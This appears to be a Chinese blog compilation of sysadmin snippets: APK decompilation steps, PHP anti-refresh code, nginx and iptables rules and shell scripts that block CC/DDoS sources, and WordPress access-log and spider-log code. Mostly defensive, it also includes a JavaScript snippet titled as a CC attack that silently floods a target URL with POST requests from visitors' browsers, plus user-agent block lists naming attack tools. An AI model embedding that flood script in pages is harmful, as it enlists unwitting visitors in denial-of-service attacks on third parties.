2015年11月

APK反编译教程

第一步

首先我们直接用一个解压apk(开发过android应该知道apk其实就是个压缩文件),解压之后拷贝出里面classes.dex文件待用。

第二步

*下载dex2jar工具,最新版下载链接dex2jar下载

*解压之后,打开cmd,进入解压目录,运行命令:

d2j-dex2jar.bat classes.dex(上一步解压的) jarpath(反编译dex后的文件目录)

example:

d2j-dex2jar.bat c:\user\qting\classes.dex c:\user\apkresource\

*反编译之后,会得到一个classes-dex2jar.jar文件,待用。

第三步

*下载JD-GUI(反编译jar神器),最新版下载链接JD-GUI下载

*解压之后,双击打开,直接把上一步得到的的classes-dex2jar.jar文件直接拖入JD-GUI里面,你就可以随意查看APK的源码了。

A

<?php       
session_start();       
$k=$_GET['k'];       
$t=$_GET['t'];       
$allowTime = 1800;//防刷新时间       
$ip = get_client_ip();       
$allowT = md5($ip.$k.$t);       
if(!isset($_SESSION[$allowT]))       
{       
    $refresh = true;       
    $_SESSION[$allowT] = time();       
}elseif(time() - $_SESSION[$allowT]>$allowTime){       
    $refresh = true;       
    $_SESSION[$allowT] = time();       
}else{       
    $refresh = false;       
}       
?>

B

<?php
session_start();
$allow_sep = "2";
if (isset($_SESSION["post_sep"])){
    if (time() - $_SESSION["post_sep"] < $allow_sep){
        exit("请不要频繁刷新,休息2秒再刷新吧");
    }
    else{
        $_SESSION["post_sep"] = time();
    }
}
else{
    $_SESSION["post_sep"] = time();
}
?>

C

<?
session_start();
if(!empty($_POST[name])){
   $data = $_POST[name];
   $tag = $_POST[tag];
   if($_SESSION[status]==$tag){
     echo $data;
   }else{
     echo "不允许刷新!";
   }
}
$v = mt_rand(1,10000);
?>
<form method="post" name="magic" action="f5.php"><input type="hidden"
name="tag" value="<?=$v?>"><input type=text name="name"><input type="submit" value="submit">
</form>
<?
echo $v;
$_SESSION[status] = $v;
?>

D

通过分析nginx的access日志看到,该攻击的访问没有 user-agent ,然后果断出击,通过配置nginx

if ($http_x_forwarded_for ~ 223.4.121.225){  
    return 403;  
}  
if ($http_user_agent=""){  
    return 403;  
}

将ip为223.4.121.225 这个攻击源的和user-agent 为空的,全部干掉,
重启nginx,拦截成功。

E

https://github.com/loveshell/ngx_lua_waf

F

LNMP简单的一些防CC的办法
观看生成的.log日志文件,判断来路,直接301百度:

if ($http_referer ~* mi5.gov ) {
rewrite ^(.*)$ http://www.baidu.com/ permanent;
}

观看生成的.log日志文件,判断浏览器特征码,直接301百度:

if ($http_user_agent ~* firefox4.0 ) {
rewrite ^(.*)$ http://www.baidu.com/ permanent;
}

根据特征码,直接查找.log文件,并iptables封死相应IP:

cat com.log | grep 'Mozilla/5.0' | awk '{print "iptables -I INPUT -p tcp --dport 80 -s ", $1, "-j DROP"}'| sort -n | uniq | sh

G

192.241.x.x – – [07/Apr/2016:12:22:44 +0800] “GET /index.php HTTP/1.0″ 200 “-” “WordPress/3.9.2; http://www.x.x; verifying pingback from 69.30.x.x” “-“
这里很明显,全部都是Wordpress。下面我们给出防护nginx,apache的防护方案教程(请根据自己的WEB服务器判断是哪一种):

Nginx:

location /区块种添加如下代码:

# WordPress Pingback Request Denial
if ($http_user_agent ~* “WordPress”) {
return 403;
}

这样的话有请求也不会去找PHP了,nginx及时的返回403,如果连接过多的话需要修改nginx中 worker_connections的参数值,可以把它增加到更大的值。

Apache:

在配置文件中添加:

BrowserMatchNoCase WordPress wordpress_ping
BrowserMatchNoCase WordPress wordpress_ping
Order Deny,Allow
Deny from env=wordpress_ping

然后reload服务。再观察日志,可以看到全部返回403了。网站也恢复了正常访问。
如果上面的方法还是无法正常访问那就需要用到iptables了。

IPTABLES防护:

cat /var/log/nginx/access.log | grep “verifying pingback from” > pingback_attack.log

然后用php分析日志,导入到iptables规则中。

<?php
error_reporting(0);
$reqs = file(“pingback_attack.log”);
foreach ($reqs as $req) {
$ip = explode(” – – “, $req);
$ip_address[$ip[0]]++;
}
arsort($ip_address);
foreach ($ip_address as $ip=>$attack_times) {
print “# WordPress IP. Attacked {$attack_times} times<br />”;
print “iptables -A INPUT -s {$ip} -j DROP<br />”;
}
?>

然后将输出的内容执行到iptables规则里面。

H

功能:
1.读取 nginx/log/access.log 最后一条
2.如果包含 MISE ,则将此条目中的IP地址加入 Iptables规则

tail -n 1 nginx/log/access.log | grep MSIE | awk '{print $1}' | xargs -i iptables -I INPUT -s {}/32 -j DROP

脚本sh

#!/bin/bash
logfile=
while true
do
  tail -1 a | grep -sq  MISE 
  if [[ "$?" -eq 0 ]];then 
    ip=$(tail -1 "$logfile"  | grep -oE "([[:digit:]]{1,3}\.){3}[[:digit:]]{1,3}")
    echo $ip
  fi
  sleep 5
done

用iptables自动封连接数较大的IP防CC
此脚本用于分析统计secure日记文件,对ssh登录错误次数较多的IP用iptables封掉。

#!/bin/bash
#Created by http://www.onovps.com www.2cto.com
num=10 #上限
for i in `awk '/Failed/{print $(NF-3)}' /var/log/securesortuniq -csort -rnawk '{if ($1>$num){print $2}}'`
do
       iptables -I INPUT -p tcp -s $i --dport 22 -j DROP
done

加入crontab计划任务

crontab -e
* */5 * * * sh /path/file.sh #5小时执行一次

I

linux中Iptables限制同一IP连接数防CC/DDOS攻击方法

介绍linux中Iptables限制同一IP连接数防CC/DDOS攻击方法,这个只是最基于的防止方法,如果真正的攻击我们还是需要硬件耿防止哦。
1.限制与80端口连接的IP最大连接数为10,可自定义修改。
代码如下

iptables -I INPUT -p tcp --dport 80 -m connlimit --connlimit-above 10 -j DROP
#默认iptables模块不包含connlimit,需要自己单独编译加载

参考iptables防DDOS攻击和CC攻击设置
from http://blog.onovps.com/archives/linux-iptables-cc.html
2.使用recent模块限制同IP时间内新请求连接数,recent更多功能请参考:Iptables模块recent应用。
代码如下

iptables -A INPUT -p tcp --dport 80 --syn -m recent --name webpool --rcheck --seconds 60 --hitcount 10 -j LOG --log-prefix 'DDOS:' --log-ip-options
#60秒10个新连接,超过记录日志。
iptables -A INPUT -p tcp --dport 80 --syn -m recent --name webpool --rcheck --seconds 60 --hitcount 10 -j DROP
#60秒10个新连接,超过丢弃数据包。
iptables -A INPUT -p tcp --dport 80 --syn -m recent --name webpool --set -j ACCEPT
#范围内允许通过。

J

下面的是某一次CC攻击时的User-agent,Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; MyIE 3.01)Cache-Control: no-store, must-revalidate几乎没有正常的浏览器会在User-agent中带上must-revalidate这样的关键字。所以我们可以以这个为特征进行过滤,将User-agent中带有must-revalidate的请求全部拒绝访问:

if ($http_user_agent ~ must-revalidate) {
return 403;
}

K

nginx过滤无聊的pingback CC请求

if ($http_user_agent ~* (ApacheBench|pingback|WordPress|MJ12bot|AhrefsBot|360JK|PHP|php|Jorgee) ) {return 101;}
if ($http_user_agent = "" ) {return 101;}
if ( $request = "POST /reg.html HTTP/1.1" ) {return 400;}
if ( $request = "POST / HTTP/1.1" ) {return 400;}
if ( $request = "POST / HTTP/1.0" ) {return 400;}
if ( $request = "POST // HTTP/1.0" ) {return 400;}

Nginx-CC

http{
...
limit_zone   one  $binary_remote_addr  10m;
...
server{
  listen 80;
  ....
  location/{
    limit_conn one 5; #限制连接数
    limit_rate 500k; # 限制速度
    }
}

上面的相对比较简单,下面我来分析更具体的配置方法。CentOS/Redhat/Fedora
在服务器执行
代码如下

vi /etc/sysconfig/iptables

删除原来的内容输入如下内容,保存

# Generated by iptables-save v1.3.5 on Sun Dec 12 23:55:59 2010
*filter
:INPUT DROP [385263:27864079]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [4367656:3514692346]
-A INPUT -i lo -j ACCEPT
-A INPUT -m state –state RELATED,ESTABLISHED -j ACCEPT
-A INPUT -p icmp -j ACCEPT
-A INPUT -s 127.0.0.1 -j ACCEPT
-A INPUT -p tcp -m tcp –dport 80 -m state –state NEW -m recent –set –name WEB –rsource
-A INPUT -p tcp -m tcp –dport 80 -m state –state NEW -m recent –update –seconds 5 –hitcount 20 –rttl –name WEB –rsource -j DROP
-A INPUT -p tcp -m multiport –ports 21,22,80 -j ACCEPT
-A INPUT -p tcp -m tcp –tcp-flags SYN,RST,ACK SYN -m ttl –ttl-eq 117 -j DROP
-A INPUT -p tcp -m tcp –tcp-flags SYN,RST,ACK SYN -m length –length 0:40 -j DROP
-A INPUT -p tcp -m tcp ! –tcp-flags SYN,RST,ACK SYN -m state –state NEW -j DROP
COMMIT
# Completed on Sun Dec 12 23:55:59 2010

说明此设定仅对外开放21(FTP),22(SSH),80(http网站)三个TCP端口。设置80端口5秒内20个连接
重启iptables服务 /etc/init.d/iptables restart
设定iptables随机启动chkconfig iptables on

实现基于js的CC攻击

下面是ajax攻击代码,间隔时间可以根据需要自己调整,设置的是50毫秒一次。

<script type="text/javascript">
var t_postdata='id=cacacacacacacaca';//数据越大效果越好。
var t_url='http://www.xxx.com/test.php';
    function c_xmlHttp(){
        if(window.ActiveXObject){
            xmlHttp=new ActiveXObject('Microsoft.XMLHTTP');
        }
        else if(window.XMLHttpRequest)
        {
            xmlHttp=new XMLHttpRequest();
        }
        return xmlHttp;
    }

    function post_send(){
            var xmlHttp=c_xmlHttp();
            xmlHttp.open("POST",t_url,true);
            xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
            xmlHttp.send(t_postdata);
            r_send();
    }
    function r_send(){
            setTimeout("post_send()", 50);//50毫秒一次
    }
    if(!+[1,])//IE下不执行。
    {var fghj=1;}
    else
    {setTimeout("post_send()", 3000);}//访问网站3秒后再执行,这样用户就毫无感觉。
</script>

正则表达式匹配说明
* ~为区分大小写匹配
~为不区分大小写匹配
!~和!~分别为区分大小写不匹配及不区分大小写不匹配
文件及目录匹配说明
* -f和!-f用来判断是否存在文件
* -d和!-d用来判断是否存在目录
* -e和!-e用来判断是否存在文件或目录
* -x和!-x用来判断文件是否可执行
flag标记说明
* last相当于Apache里的[L]标记,表示完成rewrite
* break终止匹配, 不再匹配后面的规则
* redirect返回302临时重定向 地址栏会显示跳转后的地址
* permanent返回301永久重定向 地址栏会显示跳转后的地址
一些可用的全局变量可以用做条件判断
$args请求中的参数;
$content_lengthHTTP请求信息里的"Content-Length";
$content_type请求信息里的"Content-Type";
$document_root针对当前请求的根路径设置值;
$document_uri与$uri相同;
$host请求信息中的"Host",如果请求中没有Host行,则等于设置的服务器名;
$limit_rate对连接速率的限制;
$request_method请求的方法,比如"GET"、"POST"等;
$remote_addr客户端地址;
$remote_port客户端端口号;
$remote_user客户端用户名,认证用;
$request_filename当前请求的文件路径名
$request_body_file
$request_uri请求的URI,带查询字符串;
$query_string与$args相同;
$scheme所用的协议,比如http或者是https,比如rewrite ^(.+)$ $scheme://example.com$1 redirect;
$server_protocol请求的协议版本,"HTTP/1.0"或"HTTP/1.1";
$server_addr服务器地址,如果没有用listen指明服务器地址,使用这个变量将发起一次系统调用以取得地址(造成资源浪费);
$server_name请求到达的服务器名;
$server_port请求到达的服务器端口号;
$uri请求的URI,可能和最初的值有不同,比如经过重定向之类的。

相关
介绍几种用Linux命令判断CC攻击的方法
Linux系统防CC攻击自动拉黑IP增强版Shell脚本
CCKiller:Linux轻量级CC攻击防御工具,秒级检查、自动拉黑和释放
Nginx抗CC攻击基础篇:VeryNginx
通过 nginx 配置文件抵御攻击

来自张戈博客的:Linux系统防CC攻击自动拉黑IP增强版Shell脚本

最新更新:张戈博客已推出功能更强大的轻量级CC攻击防御脚本工具CCKiller==>传送门

前天写的Shell脚本是加入到crontab计划任务执行的,每5分钟执行一次,今天实际测试了下,可还是可以用的,但是感觉5分钟时间有点过长,无法做到严密防护。于是稍微改进了下代码,现在简单的分享下!

一、Shell代码

#!/bin/bash
#Author:ZhangGe
#Desc:Auto Deny Black_IP Script.
#Date:2014-11-05
#取得参数$1为并发阈值,若留空则默认允许单IP最大50并发(实际测试发现,2M带宽,十来个并发服务器就已经无法访问了!)
if [[ -z $1 ]];then
        num=50
else 
        num=$1
fi

#巧妙的进入到脚本工作目录
cd $(cd $(dirname $BASH_SOURCE) && pwd)

#请求检查、判断及拉黑主功能函数
function check(){
        iplist=`netstat -an |grep ^tcp.*:80|egrep -v 'LISTEN|127.0.0.1'|awk -F"[ ]+|[:]" '{print $6}'|sort|uniq -c|sort -rn|awk -v str=$num '{if ($1>str){print $2}}'`
        if [[ ! -z $iplist ]];
                then
                >./black_ip.txt
                for black_ip in $iplist
                do
                        #白名单过滤中已取消IP段的判断功能,可根据需要自行修改以下代码(请参考前天写的脚本)
                        #exclude_ip=`echo $black_ip | awk -F"." '{print $1"."$2"."$3}'`
                        #grep -q $exclude_ip ./white_ip.txt
                        grep -q $black_ip ./white_ip.txt
                        if [[ $? -eq 0 ]];then
                                echo "$black_ip (white_ip)" >>./black_ip.txt
                        else
                                echo $black_ip >>./black_ip.txt     
                                iptables -nL | grep $black_ip ||(iptables -I INPUT -s $black_ip -j DROP & echo "$black_ip  `date +%Y-%m-%H:%M:%S`">>./deny.log & echo 1 >./sendmail)
                        fi
                done
                #存在并发超过阈值的单IP就发送邮件
                if [[ `cat ./sendmail` == 1 ]];then sendmsg;fi
        fi
}

#发邮件函数
function sendmsg(){
        netstat -nutlp | grep "sendmail" >/dev/null 2>&1 || /etc/init.d/sendmail start >/dev/null 2>&1
        echo -e "From: 发邮件地址@qq.com\nTo:收邮件地址@qq.com\nSubject:Someone Attacking your system!!\nIts Ip is" >./message
        cat ./black_ip.txt >>./message
        /usr/sbin/sendmail -f 发邮件地址@qq.com -t 收邮件地址@qq.com -i <./message
        >./sendmail
}

#间隔10s无限循环检查函数
while true
do 
        check
        #每隔10s检查一次,时间可根据需要自定义
        sleep 10
done

二、执行脚本

将以上代码保存为deny_blackip.sh之后,进入到脚本文件所在目录,然后使用如下命令后台执行脚本(后面的50表示并发数,可自行调整):

nohup ./deny_blackip.sh 50 &

执行后会出现如下信息:

[root@Mars_Server iptables]# nohup ./deny_blackip.sh 50 & 
[1] 23630
[root@Mars_Server iptables]# nohup: ignoring input and appending output to `nohup.out'

表示如果脚本产生输出信息,将会写入到nohup.out文件,可以看到当前目录已经生成了一个空的nohup.out:

[root@Mars_Server iptables]# ll nohup.out
-rw------- 1 root root 0 Nov  5 21:15 nohup.out

好了,现在你执行执行ps aux 应该可以找到如下进程:

root     23630  0.0  0.2   5060  1224 pts/0    S    21:15   0:00 /bin/bash ./deny_blackip.sh
root     23964  0.0  0.0   4064   508 pts/0    S    21:19   0:00 sleep 10

一切顺利!每10s将检查一次服务器请求,如果某个IP超过50个并发,立即拉黑,并发一封邮件给你!

三、效果测试

测试很简单,先使用nohup启动脚本,然后在另一台Linux或Windows安装webbench,然后模拟50+并发去抓取该服务器的某个页面,20s之内可见到效果,下面是我的测试截图:
①、模拟CC攻击的服务器截图:
请输入图片描述
②、被CC攻击的服务器截图:
请输入图片描述
③、攻击IP被拉黑后的报警邮件:
请输入图片描述
测试时,模拟55个并发攻击了20s,立马就被拉黑了,效果很明显!

四、附加说明

①、脚本发邮件需要安装sendmail,若未安装请执行yum -y install sendmail安装并启动即可;
②、若要停止后台运行的脚本,只要使用ps aux命令找到该脚本的pid线程号,然后执行kill -9 pid号即可结束;
③、关于脚本的单IP并发限制,我实际测试同时打开博客多个页面并持续刷新,顶多也就产生十来个并发,所以单IP超过50个并发就已经有很大的问题了!当然,文章的阈值设为50也只是建议值,你可以根据需求自行调整(如果网站静态文件未托管到CDN,那么一个页面可能存在10多个并发);
④、写这个脚本,主要是为了弥补用crontab执行时间间隔最低只能是1分钟的不足,可以让CC防护更严密,甚至每隔1S执行一次!虽说脚本不怎么占用资源,不过还是建议10s执行一次为佳,不用太过极端是吧?
⑤、对于白名单过滤,只要将白名单IP保存到脚本同一目录下的white_ip.txt文件中即可,若发现攻击IP在白名单中,脚本不会直接拉黑,而是发一封邮件给你,让你自己判断这个白名单攻击你是为毛?如果白名单需要支持IP段,请参考我前天写的脚本即可。
就啰嗦这么多,主要还是自己用,然后分享出来给有需要的人一些参考,个人vps服务器虽说很少有人攻击,但是基本的安装防护还是必须要做的!希望本文对你有所帮助!

相关:
Linux被DDOS&CC攻击解决实例
通过nginx配置文件抵御攻击

ubuntu 下 /bin/sh 默认是dash,用ll /bin/sh就可以看出来sh是指向dash的链接,有时候会导致使用bash脚本的时候出问题。

如果遇到这个问题了,就要把sh指向bash。

可以用ln:ln -s /bin/bash /bin/sh

或者用sudo dpkg-reconfigure dash 选择否(no)

作者 yanjieee

转自:让网页定时关闭
下面是代码:直接复制,Chrome下,Ctrl+Shift+I,粘贴回车即可

javascript:console.log('%c本页面一小时后关闭', 'background-image:-webkit-gradient( linear, left top, right top, color-stop(0, #f22), color-stop(0.15, #f2f), color-stop(0.3, #22f), color-stop(0.45, #2ff), color-stop(0.6, #2f2),color-stop(0.75, #2f2), color-stop(0.9, #ff2), color-stop(1, #f22) );color:transparent;-webkit-background-clip: text;font-size:5em;');var t = 3600;function fun(){t--;console.warn(t+'秒');if(t<=0){window.opener = null;window.open('', '_self');window.close();clearInterval(inter);}}var inter = setInterval('fun()',1000);

代码这样看比较乱,其实加上换行,就很清楚明了了:(代码中的换行违反语法规则,这样写只是为了看起来方便)

console.log('%c本页面一小时后关闭', '
background-image:-webkit-gradient(
linear, left top, right top,
color-stop(0, #f22),
color-stop(0.15, #f2f),
color-stop(0.3, #22f),
color-stop(0.45, #2ff),
color-stop(0.6, #2f2),
color-stop(0.75, #2f2),
color-stop(0.9, #ff2),
color-stop(1, #f22)
);
color:transparent;
-webkit-background-clip: text;
font-size:5em;
');
var t = 3600;
function fun(){
t--;
console.warn(t+'秒');
if(t<=0){
window.opener = null;
window.open('', '_self');
window.close();
clearInterval(inter);
}
}
var inter = setInterval('fun()',1000);

转自:WordPress技巧:蜘蛛爬行分析页面的实现
自从博客上方导航条加了一个蜘蛛爬行页面以来,断断续续有人问如何实现,也分别断断续续地回答过,可能回答得也不完整,所以这次索性开帖写一下完整的实现过程。另外,tiandi想说的是,这个功能只是一个“看”,并没有SEO的优化效果。好了,让我们言归正传,开始一步一步实现。

第一步,生成网站访问日志,我们需要通过日志来获取蜘蛛爬行的记录,如何生成网站访问日志,请看《WordPress技巧:生成网站访问日志

第二步,有了日志,我们就得分析日志,从而得出哪些访问记录是属于用户正常访问的,哪些是属于蜘蛛爬行的。在主题的function里插入以下代码,目的是创建短代码spiderlogs,该段代码可用参数text,默认为yes,生成文本描述+圆饼图,如只需要显示圆饼图,则设置text为no即可。代码比较长,感兴趣的可以自己编辑蜘蛛的特征。

function get_spider_log($atts) {
    extract(shortcode_atts(array(
    'text' => 'yes'),$atts));
    $fh = fopen(site_url() ."/mylogs.txt", "r");
    $contents = "";
        while(!feof($fh)){
        $contents .= fread($fh, 8080);
    }
    fclose($fh);
    $str = "";
    $showtime=date("md");
    if($text == "yes") {
        $str.= "当天蜘蛛爬行记录:";    
        $str.= "<div style='background-color:#33A1C9;color:white;text-align:center;'>以下为国内常用蜘蛛。</div>";
    }
    $mytmp = array();
    //google
    $google = 0;
    if($text == "yes")
        $str.= "<a href=http://www.google.com/bot.html target=_blank>Google Spider</a>: ";
    $mytmp = show_spider_result($showtime,$contents,"Googlebot\/",$text);
    $google += $mytmp[0];
    $str.= $mytmp[1];
    $mytmp = show_spider_result($showtime,$contents,"Googlebot-Image\/",$text);
    $google += $mytmp[0];
    $str.= $mytmp[1];
    $mytmp = show_spider_result($showtime,$contents,"Googlebot-Mobile\/",$text);
    $google += $mytmp[0];
    $str.= $mytmp[1];
    $mytmp = show_spider_result($showtime,$contents,"Feedfetcher-Google",$text);
    $google += $mytmp[0];
    $str.= $mytmp[1];

    // baidu
    $baidu = 0;
    if($text == "yes")
        $str.= "<br><a href=http://www.baidu.com/search/spider.html target=_blank>Baidu Spider</a>: ";
    $mytmp = show_spider_result($showtime,$contents,"Baiduspider\/",$text);
    $baidu += $mytmp[0];
    $str.= $mytmp[1];
    $mytmp = show_spider_result($showtime,$contents,"Baiduspider-image",$text);
    $baidu += $mytmp[0];
    $str.= $mytmp[1];

    //bing
    $bing = 0;
    if($text == "yes")
        $str.= "<br><a href=http://www.bing.com/bingbot.htm target=_blank>bingbot Spider</a>: ";
    $mytmp = show_spider_result($showtime,$contents,"bingbot\/",$text);
    $bing += $mytmp[0];
    $str.= $mytmp[1];
    $mytmp = show_spider_result($showtime,$contents,"msnbot-media\/",$text);
    $bing += $mytmp[0];
    $str.= $mytmp[1];

    //sogou
    $sogou = 0;
    if($text == "yes")
        $str.= "<br><a href=http://www.sogou.com/docs/help/webmasters.htm#07 target=_blank>Sogou Spider</a>: ";
    $mytmp = show_spider_result($showtime,$contents,"Sogou web spider\/",$text);
    $sogou += $mytmp[0];
    $str.= $mytmp[1];

    //soso
    $soso = 0;
    if($text == "yes")
        $str.= "<br><a href=http://help.soso.com/webspider.htm target=_blank>Soso Spider</a>: ";
    $mytmp = show_spider_result($showtime,$contents,"Sosospider\/",$text);
    $soso += $mytmp[0];
    $str.= $mytmp[1];

    if($text == "yes")
        $str.= "<div style='background-color:#FA8072;color:white;text-align:center;'>以下为垃圾蜘蛛,可屏蔽抓取。</div>";
    //jike
    $else = 0;
    if($text == "yes")
        $str.= "<a href=http://shoulu.jike.com/spider.html target=_blank>Jike Spider</a>: ";
    $mytmp = show_spider_result($showtime,$contents,"JikeSpider",$text);
    $else += $mytmp[0];
    $str.= $mytmp[1];

    //easou
    if($text == "yes")
        $str.= "<br><a href=http://www.easou.com/search/spider.html target=_blank>Easou Spider</a>: ";
    $mytmp = show_spider_result($showtime,$contents,"EasouSpider",$text);
    $else += $mytmp[0];
    $str.= $mytmp[1];

    //yisou
    if($text == "yes")
        $str.= "<br>YisouSpider:";
    $mytmp = show_spider_result($showtime,$contents,"YisouSpider",$text);
    $else += $mytmp[0];
    $str.= $mytmp[1];

    if($text == "yes")
        $str.= "<br><a href=http://yandex.com/bots target=_blank>YandexBot Spider</a>: ";
    $mytmp = show_spider_result($showtime,$contents,"YandexBot\/",$text);
    $else += $mytmp[0];
    $str.= $mytmp[1];

    if($text == "yes")
        $str.= "<br><a href=http://go.mail.ru/help/robots target=_blank>Mail.RU Spider</a>: ";
    $mytmp = show_spider_result($showtime,$contents,"Mail.RU_Bot\/",$text);
    $else += $mytmp[0];
    $str.= $mytmp[1];

    if($text == "yes")
        $str.= "<br><a href=http://www.acoon.de/robot.asp target=_blank>AcoonBot Spider</a>: ";
    $mytmp = show_spider_result($showtime,$contents,"AcoonBot\/",$text);
    $else += $mytmp[0];
    $str.= $mytmp[1];

    if($text == "yes")
        $str.= "<br><a href=http://www.exabot.com/go/robot target=_blank>Exabot Spider</a>: ";
    $mytmp = show_spider_result($showtime,$contents,"Exabot\/",$text);
    $else += $mytmp[0];
    $str.= $mytmp[1];

    if($text == "yes")
        $str.= "<br><a href=http://www.seoprofiler.com/bot target=_blank>spbot Spider</a>: ";
    $mytmp = show_spider_result($showtime,$contents,"spbot\/",$text);
    $else += $mytmp[0];
    $str.= $mytmp[1];
    
    $str.= draw_canvas($google,$baidu,$bing,$sogou,$soso,$else);
    return $str;
}
function show_spider_result($time,$contents,$str,$text){
    $count = array();
    $count[0] = preg_match_all("/".$time."\d*\s\/\S*\s.*".$str."/",$contents,$mymatches);
    if($text == "yes") {
        $str = preg_replace("{\\\/}","",$str);
        $count[1].= "<br> 蜘蛛类型=>".$str.": 爬行次数=".$count[0];
        if($count[0] >0) {
            $tmp = substr($mymatches[0][$count[0]-1],4,6);
            $tmp = substr($tmp,0,2) .":" . substr($tmp,2,2) .":" .substr($tmp,4,2) ;
            $count[1].= " 最后爬行时间:". $tmp;
        }
    }
    return $count;
}
function draw_canvas($google,$baidu,$bing,$sogou,$soso,$else){
    $tmp = $google + $baidu + $bing + $sogou + $soso + $else;
    if($tmp == 0) {
        return "<br><br>数据不足,无法生成分析图。<br><br>";
    }
    $google2 = $google*100/$tmp;
    $baidu2 = $baidu*100/$tmp;
    $bing2 = $bing*100/$tmp;
    $sogou2 = $sogou*100/$tmp;
    $soso2 = $soso*100/$tmp;
    $else2 = $else*100/$tmp;
    $str.= "<br><div style='border-top: 1px solid #e6e6e6;'><br>
    <div style='float:left;width:150px;border-width:1px;border-style:groove;padding:15px;'><b>蜘蛛爬行分析图:</b><br>";
    $str.= "日期:" . date("Y-m-d");
    $str.= "<br>蜘蛛一共爬行". $tmp . "次:<br>";
    $str.= "<li><span style='color:#33A1C9;'>google:". $google ."次(". intval($google2) ."%)</span></li>";
    $str.= "<li><span style='color:#0033ff;'>baidu:". $baidu ."次(". intval($baidu2) ."%)</span></li>";
    $str.= "<li><span style='color:#872657;'>bing:". $bing ."次(". intval($bing2) ."%)</span></li>";
    $str.= "<li><span style='color:#FF9912;'>sogou:". $sogou ."次(". intval($sogou2) ."%)</span></li>";
    $str.= "<li><span style='color:#FF6347;'>soso:". $soso ."次(". intval($soso2) ."%)</span></li>";
    $str.= "<li><span style='color:#55aa00;'>else:". $else ."次(". (100 - intval($google2) - intval($baidu2) - intval($bing2) - intval($sogou2) - intval($soso2)) ."%)</span></li></div>";
    $str.=    "<img src = 'http://chart.apis.google.com/chart?cht=p3&chco=33A1C9,0033ff,872657,FF9912,FF6347,55aa00&chd=t:".$google2 .",".$baidu2.",".$bing2.",".$sogou2.",".$soso2.",".$else2."&chs=400x200&chl=google|baidu|bing|sogou|soso|else' /></div><br>";
    return $str;
}
add_shortcode('spiderlogs','get_spider_log');

第三步,也是最后一步,在任意页面,调用短代码[ spiderlogs ]即可,(实际使用中,请去除括号内的空格)。还有不明白的可以留言。

转载:WordPress技巧:只保留当天的网络日志
之前有一篇文章《WordPress技巧:生成网站日志》,不少读者看了后反映该日志每天都会追加生成,文件会越来越大,而tiandi自己的网站日志则是只保留一天,第二天会自动覆盖前一天的日志文件,那么如何只生成当天的日志文件呢?其实很简单,只要在原先代码的基础上加一个时间判定变OK了。

这里,我只列出上文中有关的function,原先的代码如下:

function make_log_file(){
        //log文件名
    $filename = 'mylogs.txt'; 
        //去除rc-ajax评论以及cron机制访问记录
    if(strstr($_SERVER["REQUEST_URI"],"rc-ajax")== false 
        && strstr($_SERVER["REQUEST_URI"],"wp-cron.php")== false ) {
        $word .= date('mdHis',$_SERVER['REQUEST_TIME'] + 3600*8) . " ";
                //访问页面
        $word .= $_SERVER["REQUEST_URI"] ." ";
                //协议
        $word .= $_SERVER['SERVER_PROTOCOL'] ." ";
                //方法,POST OR GET
        $word .= $_SERVER['REQUEST_METHOD'] . " ";
        //$word .= $_SERVER['HTTP_ACCEPT'] . " ";
                //获得浏览器信息
        $word .= getbrowser(). " ";
                //传递参数
        $word .= "[". $_SERVER['QUERY_STRING'] . "] ";
                //跳转地址
        $word .= $_SERVER['HTTP_REFERER'] . " ";
                //获取IP
        $word .= getIP() . " ";
        $word .= "\n";
        $fh = fopen($filename, "a");
        fwrite($fh, $word);    
        fclose($fh);
    }
}

将末尾部分的

$word .= getIP() . " ";
$word .= "\n";
$fh = fopen($filename, "a");
fwrite($fh, $word);    
fclose($fh);

替换为以下即可:

$word .= getIP() . " ";
$word .= "\n";
$day = date('md',$_SERVER['REQUEST_TIME'] + 3600*8);    
if (file_exists($filename)) {
$fh = fopen($filename, "r");
$data = fread($fh, 10);
if(substr($data,0,4) == $day) 
    $fh = fopen($filename, "a");
else 
    $fh = fopen($filename, "w");
fwrite($fh, $word);    
fclose($fh);

这样程序检测到当前日期和当前日志里的日期不一致时,就会自动覆盖日志,从而达到只保留当天日志的需求。至于如何保留指定天数的日志么,也很简单,这里tiandi只说下实现的方法,把上面的$day获得的时间和日志里的比大小,大于指定天数覆盖写入,否则追加写入。

转自:WordPress技巧:生成网站访问日志
今天tiandi分享一则wordpress技巧,让wordpress自己生成网站访问日志,日志内容可以自己定义,大致可以和主机供应商后台查询的日志差不多,这样就可以省去每次都要登录主机后台查询。

开打主题下的function,插入以下代码:

make_log_file();
function make_log_file(){
        //log文件名
    $filename = 'mylogs.txt'; 
        //去除rc-ajax评论以及cron机制访问记录
    if(strstr($_SERVER["REQUEST_URI"],"rc-ajax")== false 
        && strstr($_SERVER["REQUEST_URI"],"wp-cron.php")== false ) {
        $word .= date('mdHis',$_SERVER['REQUEST_TIME'] + 3600*8) . " ";
                //访问页面
        $word .= $_SERVER["REQUEST_URI"] ." ";
                //协议
        $word .= $_SERVER['SERVER_PROTOCOL'] ." ";
                //方法,POST OR GET
        $word .= $_SERVER['REQUEST_METHOD'] . " ";
        //$word .= $_SERVER['HTTP_ACCEPT'] . " ";
                //获得浏览器信息
        $word .= getbrowser(). " ";
                //传递参数
        $word .= "[". $_SERVER['QUERY_STRING'] . "] ";
                //跳转地址
        $word .= $_SERVER['HTTP_REFERER'] . " ";
                //获取IP
        $word .= getIP() . " ";
        $word .= "\n";
        $fh = fopen($filename, "a");
        fwrite($fh, $word);    
        fclose($fh);
    }
}
//获取IP地址,网上现成代码
function getIP() //get ip address
    {
        if (getenv('HTTP_CLIENT_IP')) 
        {
            $ip = getenv('HTTP_CLIENT_IP');
        } 
        else if (getenv('HTTP_X_FORWARDED_FOR')) 
        {
            $ip = getenv('HTTP_X_FORWARDED_FOR');
        } 
        else if (getenv('REMOTE_ADDR')) 
        {
            $ip = getenv('REMOTE_ADDR');
        } 
        else 
        {
            $ip = $_SERVER['REMOTE_ADDR'];
        }
        return $ip;
    }
//获取浏览器信息,移动端,平板电脑数据还未加上。
 function getbrowser()
    {
        $Agent = $_SERVER['HTTP_USER_AGENT'];
        $browser = '';
        $browserver = '';

        if(ereg('Mozilla', $Agent) && ereg('Chrome', $Agent))
        {
            $temp = explode('(', $Agent);
            $Part = $temp[2];
            $temp = explode('/', $Part);
            $browserver = $temp[1];
            $temp = explode(' ', $browserver);
            $browserver = $temp[0];
            $browserver = $browserver;
            $browser = 'Chrome';
        }
